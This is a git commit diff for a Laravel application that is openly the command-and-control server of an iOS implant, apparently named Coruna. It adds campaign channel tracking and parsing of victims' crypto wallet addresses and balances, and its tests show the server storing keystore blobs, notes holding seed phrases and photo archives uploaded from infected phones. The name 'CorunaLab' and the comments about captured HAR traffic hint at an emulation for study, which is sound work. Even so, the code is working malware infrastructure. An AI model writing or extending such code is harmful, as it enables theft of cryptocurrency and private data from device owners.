init
This commit is contained in:
@@ -14,6 +14,7 @@ class DeviceController extends Controller
|
||||
{
|
||||
$filters = [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
@@ -26,6 +27,9 @@ class DeviceController extends Controller
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
|
||||
@@ -107,7 +107,11 @@ class C2Controller extends Controller
|
||||
?: $request->input('f');
|
||||
$device = $this->ingest->upsertDevice(
|
||||
$request,
|
||||
array_filter(['d' => $deviceKey]),
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey ? (string) $deviceKey : null
|
||||
);
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
|
||||
@@ -34,6 +34,40 @@ class IngestService
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Campaign / channel id from reporting traffic.
|
||||
*
|
||||
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
|
||||
* Fallback: `channel` (seen on /link/config/list alongside `c`).
|
||||
*/
|
||||
public function extractChannelId(Request $request, ?array $payload): ?string
|
||||
{
|
||||
$candidates = [];
|
||||
if (is_array($payload)) {
|
||||
if (isset($payload['form']) && is_array($payload['form'])) {
|
||||
$candidates[] = $payload['form']['c'] ?? null;
|
||||
$candidates[] = $payload['form']['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $payload['c'] ?? null;
|
||||
$candidates[] = $payload['channel'] ?? null;
|
||||
}
|
||||
$candidates[] = $request->input('c');
|
||||
$candidates[] = $request->input('channel');
|
||||
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
// HAR / implant: lowercase hex, typically 32 chars
|
||||
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
|
||||
return strtolower(substr($value, 0, 64));
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
$deviceKey ??= $this->extractDeviceKey($payload);
|
||||
@@ -43,6 +77,7 @@ class IngestService
|
||||
|
||||
$deviceModel = $this->extractDeviceModel($payload);
|
||||
$ios = $this->extractIosVersion($payload);
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
@@ -62,6 +97,11 @@ class IngestService
|
||||
} elseif ($existing) {
|
||||
$attrs['ios_version'] = $existing->ios_version;
|
||||
}
|
||||
if ($channelId !== null) {
|
||||
$attrs['channel_id'] = $channelId;
|
||||
} elseif ($existing) {
|
||||
$attrs['channel_id'] = $existing->channel_id;
|
||||
}
|
||||
|
||||
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
|
||||
$device = Device::query()->updateOrCreate(
|
||||
@@ -188,7 +228,10 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
$rows = [];
|
||||
if (isset($payload['data']) && is_array($payload['data'])) {
|
||||
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
|
||||
if (isset($payload['ba']) && is_array($payload['ba'])) {
|
||||
$rows = $this->normalizeBaAddressRows($payload['ba']);
|
||||
} elseif (isset($payload['data']) && is_array($payload['data'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['data']);
|
||||
} elseif (isset($payload['result']) && is_array($payload['result'])) {
|
||||
$rows = $this->normalizeAddressRows($payload['result']);
|
||||
@@ -324,6 +367,10 @@ class IngestService
|
||||
if (is_string($sv) && $sv !== '') {
|
||||
return $sv;
|
||||
}
|
||||
$info = $payload['deviceInfo'] ?? null;
|
||||
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
|
||||
return $info['productVersion'];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -353,4 +400,42 @@ class IngestService
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
|
||||
*
|
||||
* @param array<string, mixed> $ba
|
||||
* @return list<array<string, mixed>>
|
||||
*/
|
||||
private function normalizeBaAddressRows(array $ba): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($ba as $address => $assets) {
|
||||
if (! is_string($address) || $address === '' || ! is_array($assets)) {
|
||||
continue;
|
||||
}
|
||||
$list = array_values(array_filter($assets, 'is_array'));
|
||||
if ($list === []) {
|
||||
continue;
|
||||
}
|
||||
$primary = $list[0];
|
||||
foreach ($list as $asset) {
|
||||
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
|
||||
if ($bal !== '' && $bal !== '0') {
|
||||
$primary = $asset;
|
||||
break;
|
||||
}
|
||||
}
|
||||
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
|
||||
$out[] = [
|
||||
'address' => $address,
|
||||
'chain' => $chain,
|
||||
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
|
||||
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
|
||||
'assets' => $list,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->string('channel_id', 64)->nullable()->after('device_id')->index();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('channel_id');
|
||||
});
|
||||
}
|
||||
};
|
||||
Binary file not shown.
Binary file not shown.
@@ -14,6 +14,12 @@
|
||||
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width:90px;">Channel</label>
|
||||
<div class="layui-input-inline" style="width:160px;">
|
||||
<input type="text" name="channel_id" value="{{ $filters['channel_id'] ?? '' }}" placeholder="channel id" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width:70px;">Model</label>
|
||||
<div class="layui-input-inline" style="width:120px;">
|
||||
@@ -54,6 +60,7 @@
|
||||
<tr>
|
||||
<th>ID</th>
|
||||
<th>Device</th>
|
||||
<th>Channel</th>
|
||||
<th>Model</th>
|
||||
<th>iOS</th>
|
||||
<th>IP</th>
|
||||
@@ -67,6 +74,7 @@
|
||||
<tr>
|
||||
<td>{{ $d->id }}</td>
|
||||
<td><code>{{ $d->device_id }}</code></td>
|
||||
<td><code>{{ $d->channel_id ?: '—' }}</code></td>
|
||||
<td>{{ $d->device_model ?: '—' }}</td>
|
||||
<td>{{ $d->ios_version ?: '—' }}</td>
|
||||
<td>{{ $d->ip ?: '—' }}</td>
|
||||
@@ -75,7 +83,7 @@
|
||||
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
|
||||
</tr>
|
||||
@empty
|
||||
<tr><td colspan="8">暂无设备</td></tr>
|
||||
<tr><td colspan="9">暂无设备</td></tr>
|
||||
@endforelse
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
@@ -13,14 +13,18 @@
|
||||
<tr>
|
||||
<th width="140">Device</th>
|
||||
<td><code>{{ $device->device_id }}</code></td>
|
||||
<th width="140">Model</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
<th width="140">Channel</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Model</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
<th>iOS</th>
|
||||
<td>{{ $device->ios_version ?: '—' }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>IP</th>
|
||||
<td>{{ $device->ip ?: '—' }}</td>
|
||||
<td colspan="3">{{ $device->ip ?: '—' }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>User-Agent</th>
|
||||
|
||||
@@ -6,10 +6,14 @@ use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Http\UploadedFile;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -30,6 +34,7 @@ class C2ApiTest extends TestCase
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'c' => '34f5121f572d6742703eb84ec2f866a6',
|
||||
'd' => '000430C910E8E526',
|
||||
'f' => '000430C910E8E526',
|
||||
'deviceModel' => 'iPhone9,1',
|
||||
@@ -58,6 +63,7 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
||||
@@ -179,6 +185,164 @@ class C2ApiTest extends TestCase
|
||||
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function status_ingests_har_shaped_ba_address_map(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600888';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-ba-1',
|
||||
'a' => 'tp',
|
||||
'ba' => [
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
||||
[
|
||||
'balance' => '0',
|
||||
'chainId' => '10',
|
||||
'chainType' => 'tron',
|
||||
'decimal' => '6',
|
||||
'name' => 'Tether USD',
|
||||
'symbol' => 'USDT',
|
||||
],
|
||||
[
|
||||
'balance' => '12.5',
|
||||
'chainId' => '10',
|
||||
'chainType' => 'tron',
|
||||
'decimal' => '6',
|
||||
'name' => 'TRON',
|
||||
'symbol' => 'TRX',
|
||||
],
|
||||
],
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('tron', $addr->chain);
|
||||
$this->assertSame('12.5', $addr->balance);
|
||||
$this->assertSame('TRX', $addr->symbol);
|
||||
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600999';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-ks-1',
|
||||
'a' => 'im',
|
||||
'result' => [
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'ciphertext' => 'deadbeef',
|
||||
'kdf' => 'pbkdf2',
|
||||
'mac' => 'cafebabe',
|
||||
],
|
||||
'identity' => ['encKey' => 'aa'],
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/status', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$wallet = Wallet::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($wallet);
|
||||
$this->assertNull($wallet->mnemonic);
|
||||
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_pic_ingests_notes(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585601111';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-notes-1',
|
||||
'notes' => [
|
||||
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
|
||||
['name' => 'shopping', 'text' => 'milk'],
|
||||
],
|
||||
], $ts);
|
||||
|
||||
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
|
||||
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
|
||||
$this->assertNotNull($first);
|
||||
$this->assertStringContainsString('abandon', (string) $first->body);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_extracts_photo_archive_and_stores_file(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = new CorunaCrypto;
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
// minimal JPEG SOI/EOI
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
$this->assertFileExists($archivePath);
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$resp = $this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-1',
|
||||
'f' => 'dev-photo-1',
|
||||
'batchBase' => '0',
|
||||
'count' => '1',
|
||||
'total' => '1',
|
||||
'index' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
);
|
||||
$resp->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$photo = Photo::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($photo);
|
||||
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
||||
$this->assertSame(4, $photo->size);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_guest_is_redirected_to_admin_login(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user